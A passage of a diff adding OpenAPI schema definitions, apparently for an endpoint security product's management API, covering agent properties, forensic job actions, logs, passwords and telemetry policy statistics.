+        title: Effective sigma revision
+        type: integer
+        x-nullable: true
+      effective_usb_device_control_revision:
+        readOnly: true
+        title: Effective usb device control revision
+        type: integer
+        x-nullable: true
+      effective_whitelist_revision:
+        readOnly: true
+        title: Effective whitelist revision
+        type: integer
+        x-nullable: true
+      effective_yara_revision:
+        readOnly: true
+        title: Effective yara revision
+        type: integer
+        x-nullable: true
+      encrypted_disk_count:
+        readOnly: true
+        title: Encrypted disk count
+        type: integer
+      entra_device_id:
+        minLength: 1
+        title: Entra device id
+        type: string
+        x-nullable: true
+      entra_join_type:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Entra join type
+        type: integer
+        x-nullable: true
+      entra_tenant_id:
+        minLength: 1
+        title: Entra tenant id
+        type: string
+        x-nullable: true
+      external_ipaddress:
+        minLength: 1
+        readOnly: true
+        title: External ipaddress
+        type: string
+        x-nullable: true
+      firstseen:
+        format: date-time
+        readOnly: true
+        title: Firstseen
+        type: string
+        x-nullable: true
+      group_count:
+        title: Group count
+        type: integer
+      groups:
+        items:
+          $ref: '#/definitions/BasicGroup'
+        readOnly: true
+        type: array
+      hardware_address:
+        minLength: 1
+        readOnly: true
+        title: Hardware address
+        type: string
+        x-nullable: true
+      has_valid_password:
+        readOnly: true
+        title: Has valid password
+        type: boolean
+      hostname:
+        minLength: 1
+        readOnly: true
+        title: Hostname
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      installation_config:
+        readOnly: true
+        title: Installation config
+        type: object
+      installdate:
+        minLength: 1
+        readOnly: true
+        title: Installdate
+        type: string
+        x-nullable: true
+      interface_count:
+        readOnly: true
+        title: Interface count
+        type: integer
+      ipaddress:
+        minLength: 1
+        readOnly: true
+        title: Ipaddress
+        type: string
+        x-nullable: true
+      ipmask:
+        minLength: 1
+        readOnly: true
+        title: Ipmask
+        type: string
+        x-nullable: true
+      is_obsolete:
+        readOnly: true
+        title: Is obsolete
+        type: boolean
+      is_ppl_antimalware:
+        readOnly: true
+        title: Is ppl antimalware
+        type: boolean
+        x-nullable: true
+      isolation_policy:
+        readOnly: true
+        title: Isolation policy
+        type: boolean
+        x-nullable: true
+      isolation_state:
+        readOnly: true
+        title: Isolation state
+        type: boolean
+        x-nullable: true
+      last_upgrade_attempt:
+        format: date-time
+        readOnly: true
+        title: Last upgrade attempt
+        type: string
+        x-nullable: true
+      last_upgrade_success:
+        format: date-time
+        readOnly: true
+        title: Last upgrade success
+        type: string
+        x-nullable: true
+      lastseen:
+        format: date-time
+        readOnly: true
+        title: Lastseen
+        type: string
+        x-nullable: true
+      lastseen_error:
+        format: date-time
+        readOnly: true
+        title: Lastseen error
+        type: string
+        x-nullable: true
+      lastseen_warning:
+        format: date-time
+        readOnly: true
+        title: Lastseen warning
+        type: string
+        x-nullable: true
+      latest_vulnscan_date:
+        format: date-time
+        readOnly: true
+        title: Latest vulnscan date
+        type: string
+        x-nullable: true
+      local_admin_count:
+        readOnly: true
+        title: Local admin count
+        type: integer
+      local_group_count:
+        readOnly: true
+        title: Local group count
+        type: integer
+      local_user_count:
+        readOnly: true
+        title: Local user count
+        type: integer
+      machine_account_sid:
+        minLength: 1
+        title: Machine account sid
+        type: string
+        x-nullable: true
+      machine_boottime:
+        format: date-time
+        readOnly: true
+        title: Machine boottime
+        type: string
+        x-nullable: true
+      machine_serial:
+        minLength: 1
+        readOnly: true
+        title: Machine serial
+        type: string
+        x-nullable: true
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      os_install_date:
+        format: date-time
+        readOnly: true
+        title: Os install date
+        type: string
+      osbuild:
+        readOnly: true
+        title: Osbuild
+        type: integer
+        x-nullable: true
+      osid:
+        minLength: 1
+        readOnly: true
+        title: Osid
+        type: string
+        x-nullable: true
+      osmajor:
+        readOnly: true
+        title: Osmajor
+        type: integer
+        x-nullable: true
+      osminor:
+        readOnly: true
+        title: Osminor
+        type: integer
+        x-nullable: true
+      osproducttype:
+        minLength: 1
+        readOnly: true
+        title: Osproducttype
+        type: string
+        x-nullable: true
+      osrevision:
+        readOnly: true
+        title: Osrevision
+        type: integer
+        x-nullable: true
+      ostype:
+        minLength: 1
+        readOnly: true
+        title: Ostype
+        type: string
+        x-nullable: true
+      osversion:
+        minLength: 1
+        readOnly: true
+        title: Osversion
+        type: string
+        x-nullable: true
+      pinned_version:
+        minLength: 1
+        readOnly: true
+        title: Pinned version
+        type: string
+        x-nullable: true
+      policy:
+        $ref: '#/definitions/PolicyAgentDetails'
+      policy_set:
+        $ref: '#/definitions/PolicySetPolicies'
+      producttype:
+        minLength: 1
+        readOnly: true
+        title: Producttype
+        type: string
+        x-nullable: true
+      quarantine_file_count:
+        readOnly: true
+        title: Quarantine file count
+        type: integer
+      quarantine_last_update:
+        format: date-time
+        readOnly: true
+        title: Quarantine last update
+        type: string
+        x-nullable: true
+      refresh_properties_status:
+        enum:
+          - ERROR
+          - requesting_agent
+          - update_processing
+          - update_queued
+        readOnly: true
+        title: Refresh properties status
+        type: string
+        x-nullable: true
+      refresh_quarantine_status:
+        enum:
+          - ERROR
+          - requesting_agent
+          - update_processing
+          - update_queued
+        readOnly: true
+        title: Refresh quarantine status
+        type: string
+        x-nullable: true
+      rollback_version:
+        minLength: 1
+        readOnly: true
+        title: Rollback version
+        type: string
+        x-nullable: true
+      run_policy_automation:
+        title: Run policy automation
+        type: boolean
+        x-nullable: true
+      servicepack:
+        minLength: 1
+        readOnly: true
+        title: Servicepack
+        type: string
+        x-nullable: true
+      should_change_id:
+        default: false
+        readOnly: true
+        title: Should change id
+        type: boolean
+      starttime:
+        format: date-time
+        readOnly: true
+        title: Starttime
+        type: string
+      status:
+        enum:
+          - access_denied
+          - idle
+          - offline
+          - online
+        readOnly: true
+        title: Status
+        type: string
+      subnet:
+        $ref: '#/definitions/SimpleSubnet'
+      task_statuses:
+        additionalProperties:
+          additionalProperties:
+            type: boolean
+          type: object
+        readOnly: true
+        title: Task statuses
+        type: object
+      telemetry:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        readOnly: true
+        title: Telemetry
+        type: object
+      telemetry_last_update:
+        format: date-time
+        readOnly: true
+        title: Telemetry last update
+        type: string
+        x-nullable: true
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      total_memory:
+        readOnly: true
+        title: Total memory
+        type: number
+        x-nullable: true
+      uninstall_status:
+        readOnly: true
+        title: Uninstall status
+        type: integer
+        x-nullable: true
+      update_status:
+        readOnly: true
+        title: Update status
+        type: integer
+        x-nullable: true
+      upgrade_consecutive_fail_count:
+        readOnly: true
+        title: Upgrade consecutive fail count
+        type: integer
+        x-nullable: true
+      upgrade_failure_reason:
+        minLength: 1
+        readOnly: true
+        title: Upgrade failure reason
+        type: string
+        x-nullable: true
+      upgrade_status:
+        enum:
+          - agent_lost
+          - canceled
+          - done
+          - failed
+          - in_progress
+          - pending
+        readOnly: true
+        title: Upgrade status
+        type: string
+        x-nullable: true
+      vdi_mode:
+        enum:
+          - hostname
+          - mac
+          - mac_and_hostname
+          - unknown
+        readOnly: true
+        title: Vdi mode
+        type: string
+      version:
+        minLength: 1
+        readOnly: true
+        title: Version
+        type: string
+        x-nullable: true
+      windows_groups_last_update:
+        format: date-time
+        readOnly: true
+        title: Windows groups last update
+        type: string
+        x-nullable: true
+      windows_users_last_update:
+        format: date-time
+        readOnly: true
+        title: Windows users last update
+        type: string
+        x-nullable: true
+    required:
+      - id
+    type: object
+  AgentDiagnostic:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      additional_info:
+        minLength: 1
+        title: Additional info
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      result_type:
+        title: Result type
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - additional_info
+      - agent
+      - description
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - name
+      - result_type
+      - tenant
+    type: object
+  AgentDisk:
+    properties:
+      fs_type:
+        minLength: 1
+        readOnly: true
+        title: Fs type
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      is_encrypted:
+        readOnly: true
+        title: Is encrypted
+        type: boolean
+        x-nullable: true
+      is_removable:
+        readOnly: true
+        title: Is removable
+        type: boolean
+        x-nullable: true
+      label:
+        minLength: 1
+        readOnly: true
+        title: Label
+        type: string
+        x-nullable: true
+      mount_point:
+        minLength: 1
+        readOnly: true
+        title: Mount point
+        type: string
+      size_free:
+        maximum: 9223372036854775807
+        minimum: -9223372036854775808
+        readOnly: true
+        title: Size free
+        type: integer
+        x-nullable: true
+      size_total:
+        maximum: 9223372036854775807
+        minimum: -9223372036854775808
+        readOnly: true
+        title: Size total
+        type: integer
+        x-nullable: true
+      size_used:
+        maximum: 9223372036854775807
+        minimum: -9223372036854775808
+        readOnly: true
+        title: Size used
+        type: integer
+        x-nullable: true
+      size_used_percent:
+        readOnly: true
+        title: Size used percent
+        type: number
+    type: object
+  AgentDownloadFileQuery:
+    properties:
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+    required:
+      - filename
+    type: object
+  AgentEdit:
+    properties:
+      boot_loop_protection_boot_count:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Boot loop protection boot count
+        type: integer
+        x-nullable: true
+      boot_loop_protection_end_date:
+        format: date-time
+        title: Boot loop protection end date
+        type: string
+        x-nullable: true
+      description:
+        minLength: 1
+        title: Description
+        type: string
+        x-nullable: true
+      driver_policy:
+        title: Driver policy
+        type: boolean
+        x-nullable: true
+      effective_correlation_revision:
+        maximum: 9223372036854775807
+        minimum: 0
+        title: Effective correlation revision
+        type: integer
+        x-nullable: true
+      effective_driver_blocklists_revision:
+        maximum: 9223372036854775807
+        minimum: 0
+        title: Effective driver blocklists revision
+        type: integer
+        x-nullable: true
+      effective_ioc_revision:
+        maximum: 9223372036854775807
+        minimum: 0
+        title: Effective ioc revision
+        type: integer
+        x-nullable: true
+      effective_sigma_revision:
+        maximum: 9223372036854775807
+        minimum: 0
+        title: Effective sigma revision
+        type: integer
+        x-nullable: true
+      effective_usb_device_control_revision:
+        maximum: 9223372036854775807
+        minimum: 0
+        title: Effective usb device control revision
+        type: integer
+        x-nullable: true
+      effective_whitelist_revision:
+        maximum: 9223372036854775807
+        minimum: 0
+        title: Effective whitelist revision
+        type: integer
+        x-nullable: true
+      effective_yara_revision:
+        maximum: 9223372036854775807
+        minimum: 0
+        title: Effective yara revision
+        type: integer
+        x-nullable: true
+      entra_device_id:
+        minLength: 1
+        title: Entra device id
+        type: string
+        x-nullable: true
+      entra_join_type:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Entra join type
+        type: integer
+        x-nullable: true
+      entra_tenant_id:
+        minLength: 1
+        title: Entra tenant id
+        type: string
+        x-nullable: true
+      host:
+        minLength: 1
+        title: Host
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      isolation_policy:
+        title: Isolation policy
+        type: boolean
+        x-nullable: true
+      latest_vulnscan_date:
+        format: date-time
+        title: Latest vulnscan date
+        type: string
+        x-nullable: true
+      machine_account_sid:
+        minLength: 1
+        title: Machine account sid
+        type: string
+        x-nullable: true
+      machine_serial:
+        minLength: 1
+        title: Machine serial
+        type: string
+        x-nullable: true
+      new_group_ids:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      pinned_version:
+        minLength: 1
+        title: Pinned version
+        type: string
+        x-nullable: true
+      policy_id:
+        minLength: 1
+        title: Policy id
+        type: string
+      policy_set:
+        format: uuid
+        title: Policy set
+        type: string
+        x-nullable: true
+      port:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Port
+        type: integer
+        x-nullable: true
+      protocol:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Protocol
+        type: integer
+        x-nullable: true
+      proxy_host:
+        minLength: 1
+        title: Proxy host
+        type: string
+        x-nullable: true
+      proxy_port:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Proxy port
+        type: integer
+        x-nullable: true
+      proxy_protocol:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Proxy protocol
+        type: integer
+        x-nullable: true
+      public_server_signature:
+        minLength: 1
+        title: Public server signature
+        type: string
+        x-nullable: true
+      quarantine_last_update:
+        format: date-time
+        title: Quarantine last update
+        type: string
+        x-nullable: true
+      refresh_properties_status:
+        enum:
+          - ERROR
+          - requesting_agent
+          - update_processing
+          - update_queued
+        title: Refresh properties status
+        type: string
+        x-nullable: true
+      refresh_quarantine_status:
+        enum:
+          - ERROR
+          - requesting_agent
+          - update_processing
+          - update_queued
+        title: Refresh quarantine status
+        type: string
+        x-nullable: true
+      requested_version:
+        minLength: 1
+        title: Requested version
+        type: string
+        x-nullable: true
+      rollback_version:
+        minLength: 1
+        title: Rollback version
+        type: string
+        x-nullable: true
+      run_policy_automation:
+        title: Run policy automation
+        type: boolean
+        x-nullable: true
+      should_change_id:
+        title: Should change id
+        type: boolean
+      subnet:
+        format: uuid
+        title: Subnet
+        type: string
+        x-nullable: true
+      task_statuses:
+        additionalProperties:
+          additionalProperties:
+            type: boolean
+          type: object
+        readOnly: true
+        title: Task statuses
+        type: object
+      telemetry:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        readOnly: true
+        title: Telemetry
+        type: object
+      telemetry_last_update:
+        format: date-time
+        title: Telemetry last update
+        type: string
+        x-nullable: true
+      update_method:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Update method
+        type: integer
+        x-nullable: true
+      vdi_mode:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Vdi mode
+        type: integer
+        x-nullable: true
+      vdi_salt:
+        minLength: 1
+        title: Vdi salt
+        type: string
+        x-nullable: true
+      windows_groups_last_update:
+        format: date-time
+        title: Windows groups last update
+        type: string
+        x-nullable: true
+      windows_users_last_update:
+        format: date-time
+        title: Windows users last update
+        type: string
+        x-nullable: true
+    type: object
+  AgentIdList:
+    properties:
+      agent_ids:
+        items:
+          format: uuid
+          type: string
+        type: array
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - agent_ids
+    type: object
+  AgentIdListOrAll:
+    properties:
+      agent_ids:
+        default: []
+        items:
+          format: uuid
+          type: string
+        type: array
+      all:
+        default: false
+        title: All
+        type: boolean
+    type: object
+  AgentInstallation:
+    properties:
+      additional_info:
+        $ref: '#/definitions/AgentAdditionalInfoValues'
+      application:
+        format: uuid
+        readOnly: true
+        title: Application
+        type: string
+      first_seen:
+        format: date-time
+        readOnly: true
+        title: First seen
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      installation_date:
+        format: date-time
+        readOnly: true
+        title: Installation date
+        type: string
+        x-nullable: true
+      installed_as_dependency:
+        readOnly: true
+        title: Installed as dependency
+        type: boolean
+        x-nullable: true
+      installed_for:
+        minLength: 1
+        readOnly: true
+        title: Installed for
+        type: string
+        x-nullable: true
+      last_seen:
+        format: date-time
+        readOnly: true
+        title: Last seen
+        type: string
+      source_package_name:
+        minLength: 1
+        readOnly: true
+        title: Source package name
+        type: string
+        x-nullable: true
+      source_package_version:
+        minLength: 1
+        readOnly: true
+        title: Source package version
+        type: string
+        x-nullable: true
+      status:
+        enum:
+          - installed
+          - uninstalled
+          - updated
+        readOnly: true
+        title: Status
+        type: string
+      version:
+        minLength: 1
+        readOnly: true
+        title: Version
+        type: string
+        x-nullable: true
+      version_array:
+        items:
+          maximum: 2147483647
+          minimum: -2147483648
+          title: Version array
+          type: integer
+        readOnly: true
+        type: array
+        x-nullable: true
+    type: object
+  AgentIsolation:
+    properties:
+      policy_not_allowed:
+        items:
+          $ref: '#/definitions/MinimalAgentInfo'
+        type: array
+      requested:
+        items:
+          $ref: '#/definitions/MinimalAgentInfo'
+        type: array
+      unrequested:
+        items:
+          $ref: '#/definitions/MinimalAgentInfo'
+        type: array
+      unsupported:
+        items:
+          $ref: '#/definitions/MinimalAgentInfo'
+        type: array
+    required:
+      - requested
+      - unrequested
+    type: object
+  AgentJobInstance:
+    properties:
+      creationtime:
+        format: date-time
+        title: Creationtime
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+    required:
+      - creationtime
+      - job_instance_id
+    type: object
+  AgentJobInstanceStatus:
+    properties:
+      action:
+        enum:
+          - IOCScan
+          - agentDiagnostic
+          - agentMinidump
+          - avScan
+          - collectRAWEvidences
+          - deleteScheduledTask
+          - deleteService
+          - downloadDirectory
+          - downloadFile
+          - filepathDeleter
+          - getHives
+          - getLoadedDriverList
+          - getNetworkShare
+          - getPipeList
+          - getPrefetch
+          - getProcessList
+          - getQFE
+          - getRawWMI
+          - getScheduledTasks
+          - getSessions
+          - getStartupFileList
+          - getWMI
+          - knownProcessFinderKiller
+          - listDirectory
+          - memoryDumper
+          - networkDiscovery
+          - networkSniffer
+          - parseFilesystem
+          - persistanceScanner
+          - processDumper
+          - profileMemory
+          - quarantineAcquireFile
+          - quarantineAdd
+          - quarantineDelete
+          - quarantineRestore
+          - registryOperation
+          - searchProcessDumper
+          - wildcardProcessFinderKiller
+          - yaraScan
+        title: Action
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      status:
+        enum:
+          - canceled
+          - done
+          - error
+          - injecting
+          - request_cancel
+          - running
+          - waiting
+          - waiting_injection
+          - writing
+        title: Status
+        type: string
+      task_id:
+        title: Task id
+        type: integer
+    required:
+      - action
+      - id
+      - status
+      - task_id
+    type: object
+  AgentLog:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      action:
+        minLength: 1
+        title: Action
+        type: string
+      agent_id:
+        format: uuid
+        title: Agent id
+        type: string
+      date:
+        format: date-time
+        title: Date
+        type: string
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      level:
+        minLength: 1
+        title: Level
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      message:
+        minLength: 1
+        title: Message
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+        x-nullable: true
+      worker:
+        title: Worker
+        type: boolean
+    required:
+      - id
+      - log_type
+    type: object
+  AgentLogFile:
+    properties:
+      contents:
+        minLength: 1
+        title: Contents
+        type: string
+      creation_date:
+        format: date-time
+        title: Creation date
+        type: string
+        x-nullable: true
+      download_date:
+        format: date-time
+        title: Download date
+        type: string
+      id:
+        readOnly: true
+        title: ID
+        type: integer
+      modification_date:
+        format: date-time
+        title: Modification date
+        type: string
+        x-nullable: true
+      size:
+        maximum: 9223372036854775807
+        minimum: 0
+        title: Size
+        type: integer
+    required:
+      - contents
+      - download_date
+      - size
+    type: object
+  AgentLogFileQuery:
+    properties:
+      file_kind:
+        description: |-
+          Which file to operate on:
+           * 0: self-upgrade.log
+           * 1: setupapi.app.log
+        enum:
+          - 0
+          - 1
+        title: File kind
+        type: integer
+    required:
+      - file_kind
+    type: object
+  AgentNetInterface:
+    properties:
+      addresses_ipv4:
+        items:
+          minLength: 1
+          type: string
+        readOnly: true
+        type: array
+      addresses_ipv6:
+        items:
+          minLength: 1
+          type: string
+        readOnly: true
+        type: array
+      guid:
+        readOnly: true
+        title: Guid
+        type: string
+        x-nullable: true
+      hardware_address:
+        readOnly: true
+        title: Hardware address
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      is_favorite_interface:
+        readOnly: true
+        title: Is favorite interface
+        type: boolean
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+      oui_vendor:
+        readOnly: true
+        title: Oui vendor
+        type: string
+        x-nullable: true
+    type: object
+  AgentOrGroupListSimple:
+    properties:
+      agent_ids:
+        default: []
+        items:
+          format: uuid
+          type: string
+        type: array
+      all:
+        default: false
+        title: All
+        type: boolean
+      group_ids:
+        default: []
+        items:
+          minLength: 1
+          type: string
+        type: array
+    type: object
+  AgentOsData:
+    properties:
+      label:
+        minLength: 1
+        title: Label
+        type: string
+      value:
+        title: Value
+        type: integer
+    required:
+      - label
+      - value
+    type: object
+  AgentOsStat:
+    properties:
+      osproducttype:
+        items:
+          $ref: '#/definitions/AgentOsData'
+        type: array
+      producttype:
+        items:
+          $ref: '#/definitions/AgentOsData'
+        type: array
+    required:
+      - osproducttype
+      - producttype
+    type: object
+  AgentPassword:
+    properties:
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      id:
+        readOnly: true
+        title: ID
+        type: integer
+      last_auth_date:
+        format: date-time
+        readOnly: true
+        title: Last auth date
+        type: string
+        x-nullable: true
+      password:
+        minLength: 6
+        title: Password
+        type: string
+      preferred:
+        title: Preferred
+        type: boolean
+        x-nullable: true
+      total_auth:
+        readOnly: true
+        title: Total auth
+        type: integer
+    required:
+      - password
+    type: object
+  AgentPasswordUpdate:
+    properties:
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      id:
+        readOnly: true
+        title: ID
+        type: integer
+      last_auth_date:
+        format: date-time
+        readOnly: true
+        title: Last auth date
+        type: string
+        x-nullable: true
+      password:
+        minLength: 6
+        title: Password
+        type: string
+      preferred:
+        title: Preferred
+        type: boolean
+      total_auth:
+        readOnly: true
+        title: Total auth
+        type: integer
+    required:
+      - password
+    type: object
+  AgentPoliciesStat:
+    properties:
+      binary_download_enabled:
+        title: Binary download enabled
+        type: integer
+      count:
+        title: Count
+        type: integer
+      driver_enabled:
+        title: Driver enabled
+        type: integer
+      driver_policy:
+        title: Driver policy
+        type: integer
+      feature_callback_tampering:
+        title: Feature callback tampering
+        type: integer
+      hlai_alert_and_block:
+        title: Hlai alert and block
+        type: integer
+      hlai_alert_only:
+        title: Hlai alert only
+        type: integer
+      hlai_off:
+        title: Hlai off
+        type: integer
+      hlai_scan_libraries:
+        title: Hlai scan libraries
+        type: integer
+      hlai_skip_signed_ms:
+        title: Hlai skip signed ms
+        type: integer
+      hlai_skip_signed_others:
+        title: Hlai skip signed others
+        type: integer
+      hlai_written_executable:
+        title: Hlai written executable
+        type: integer
+      isolation_policy:
+        title: Isolation policy
+        type: integer
+      isolation_state:
+        title: Isolation state
+        type: integer
+      library_download_enabled:
+        title: Library download enabled
+        type: integer
+      linux_self_protection:
+        title: Linux self protection
+        type: integer
+      linux_use_isolation:
+        title: Linux use isolation
+        type: integer
+      loglevel:
+        $ref: '#/definitions/LogLevelStat'
+      macos_use_isolation:
+        title: Macos use isolation
+        type: integer
+      ransomguard_alert_and_block:
+        title: Ransomguard alert and block
+        type: integer
+      ransomguard_alert_only:
+        title: Ransomguard alert only
+        type: integer
+      ransomguard_off:
+        title: Ransomguard off
+        type: integer
+      self_protection:
+        title: Self protection
+        type: integer
+      sigma_alert_and_block:
+        title: Sigma alert and block
+        type: integer
+      sigma_alert_only:
+        title: Sigma alert only
+        type: integer
+      sigma_off:
+        title: Sigma off
+        type: integer
+      telemetry_alerts_limit:
+        title: Telemetry alerts limit
+        type: integer
+      telemetry_amsi_scan:
+        title: Telemetry amsi scan
+        type: integer
+      telemetry_amsi_scan_limit:
+        title: Telemetry amsi scan limit
+        type: integer
+      telemetry_authentication:
+        title: Telemetry authentication
+        type: integer
+      telemetry_authentication_limit:
+        title: Telemetry authentication limit
+        type: integer
+      telemetry_dns_resolution:
+        title: Telemetry dns resolution
+        type: integer
+      telemetry_dns_resolution_limit:
+        title: Telemetry dns resolution limit
+        type: integer
+      telemetry_driverload:
+        title: Telemetry driverload
+        type: integer
+      telemetry_driverload_limit:
+        title: Telemetry driverload limit
+        type: integer
+      telemetry_file:
+        title: Telemetry file
+        type: integer
+      telemetry_file_download_limit:
+        title: Telemetry file download limit
+        type: integer
+      telemetry_file_limit:
+        title: Telemetry file limit
+        type: integer
+      telemetry_library_load:
+        title: Telemetry library load
+        type: integer
+      telemetry_library_load_limit:
+        title: Telemetry library load limit
+        type: integer
+      telemetry_log:
+        title: Telemetry log
+        type: integer
+      telemetry_log_limit:
+        title: Telemetry log limit
+        type: integer
+      telemetry_named_pipe:
+        title: Telemetry named pipe
+        type: integer
+      telemetry_named_pipe_limit:
+        title: Telemetry named pipe limit
+        type: integer
+      telemetry_network:
+        title: Telemetry network
+        type: integer
+      telemetry_network_limit:
+        title: Telemetry network limit
+        type: integer
+      telemetry_network_listen:
+        title: Telemetry network listen
+        type: integer
+      telemetry_network_listen_limit:
+        title: Telemetry network listen limit
+        type: integer
+      telemetry_powershell:
+        title: Telemetry powershell
+        type: integer
+      telemetry_powershell_limit:
+        title: Telemetry powershell limit
+        type: integer
+      telemetry_process:
+        title: Telemetry process
+        type: integer
+      telemetry_process_access:
+        title: Telemetry process access
+        type: integer
+      telemetry_process_access_limit:
+        title: Telemetry process access limit
+        type: integer
+      telemetry_process_limit:
+        title: Telemetry process limit
+        type: integer
+      telemetry_process_tamper:
+        title: Telemetry process tamper
+        type: integer
+      telemetry_process_tamper_limit:
+        title: Telemetry process tamper limit
+        type: integer
+      telemetry_raw_device_access:
+        title: Telemetry raw device access
+        type: integer
+      telemetry_raw_device_access_limit:
+        title: Telemetry raw device access limit
+        type: integer
+      telemetry_raw_socket_creation:
+        title: Telemetry raw socket creation
+        type: integer
+      telemetry_raw_socket_creation_limit:
+        title: Telemetry raw socket creation limit
+        type: integer
+      telemetry_registry:
+        title: Telemetry registry
+        type: integer
+      telemetry_registry_limit:
+        title: Telemetry registry limit
+        type: integer
+      telemetry_remotethread:
+        title: Telemetry remotethread
+        type: integer
+      telemetry_remotethread_limit:
+        title: Telemetry remotethread limit
+        type: integer
+      telemetry_scheduled_tasks:
+        title: Telemetry scheduled tasks
+        type: integer
+      telemetry_scheduled_tasks_limit:
+        title: Telemetry scheduled tasks limit
+        type: integer
+      telemetry_service:
+        title: Telemetry service
+        type: integer
+      telemetry_service_limit:
+        title: Telemetry service limit
+        type: integer
+      telemetry_url_request:
+        title: Telemetry url request
+        type: integer
+      telemetry_url_request_limit:
+        title: Telemetry url request limit
+        type: integer
+      telemetry_usb_activity:
+        title: Telemetry usb activity
+        type: integer
+      telemetry_usb_activity_limit:
+        title: Telemetry usb activity limit
+        type: integer
+      telemetry_user_group:
+        title: Telemetry user group
+        type: integer
+      telemetry_user_group_limit:
+        title: Telemetry user group limit
+        type: integer
+      telemetry_wmi_event:
+        title: Telemetry wmi event
+        type: integer
+      telemetry_wmi_event_limit:
+        title: Telemetry wmi event limit
+        type: integer
+      thread_download_enabled:
+        title: Thread download enabled
+        type: integer
+      use_isolation:
+        title: Use isolation
+        type: integer
+      windows_self_protection:
+        title: Windows self protection
+        type: integer
+      windows_use_isolation:
+        title: Windows use isolation
+        type: integer
+    required:
+      - binary_download_enabled
+      - count
+      - driver_enabled
+      - driver_policy
+      - feature_callback_tampering
+      - hlai_alert_and_block
+      - hlai_alert_only
+      - hlai_off
+      - hlai_scan_libraries
+      - hlai_skip_signed_ms
+      - hlai_skip_signed_others
+      - hlai_written_executable
+      - isolation_policy
+      - isolation_state
+      - library_download_enabled
+      - linux_self_protection
+      - linux_use_isolation
+      - loglevel
+      - macos_use_isolation
+      - ransomguard_alert_and_block
+      - ransomguard_alert_only
+      - ransomguard_off
+      - self_protection
+      - sigma_alert_and_block
+      - sigma_alert_only
+      - sigma_off
+      - telemetry_alerts_limit
+      - telemetry_amsi_scan
+      - telemetry_amsi_scan_limit
+      - telemetry_authentication
+      - telemetry_authentication_limit
+      - telemetry_dns_resolution
+      - telemetry_dns_resolution_limit
+      - telemetry_driverload
+      - telemetry_driverload_limit
+      - telemetry_file
+      - telemetry_file_download_limit
+      - telemetry_file_limit
+      - telemetry_library_load
+      - telemetry_library_load_limit
+      - telemetry_log
+      - telemetry_log_limit
+      - telemetry_named_pipe
+      - telemetry_named_pipe_limit
+      - telemetry_network
+      - telemetry_network_limit
+      - telemetry_network_listen
+      - telemetry_network_listen_limit
+      - telemetry_powershell
+      - telemetry_powershell_limit
+      - telemetry_process
+      - telemetry_process_access
+      - telemetry_process_access_limit
+      - telemetry_process_limit
+      - telemetry_process_tamper
+      - telemetry_process_tamper_limit
+      - telemetry_raw_device_access
+      - telemetry_raw_device_access_limit
+      - telemetry_raw_socket_creation
+      - telemetry_raw_socket_creation_limit
+      - telemetry_registry
+      - telemetry_registry_limit
+      - telemetry_remotethread
+      - telemetry_remotethread_limit
+      - telemetry_scheduled_tasks
+      - telemetry_scheduled_tasks_limit
+      - telemetry_service
+      - telemetry_service_limit
+      - telemetry_url_request
+      - telemetry_url_request_limit
+      - telemetry_usb_activity
+      - telemetry_usb_activity_limit
+      - telemetry_user_group
+      - telemetry_user_group_limit
+      - telemetry_wmi_event
+      - telemetry_wmi_event_limit
+      - thread_download_enabled
+      - use_isolation
+      - windows_self_protection
+      - windows_use_isolation
+    type: object
+  AgentPolicyIdAndName:
+    properties:
+      agent_policy_id:
+        format: uuid
+        title: Agent policy id
+        type: string
+      agent_policy_name:
+        minLength: 1
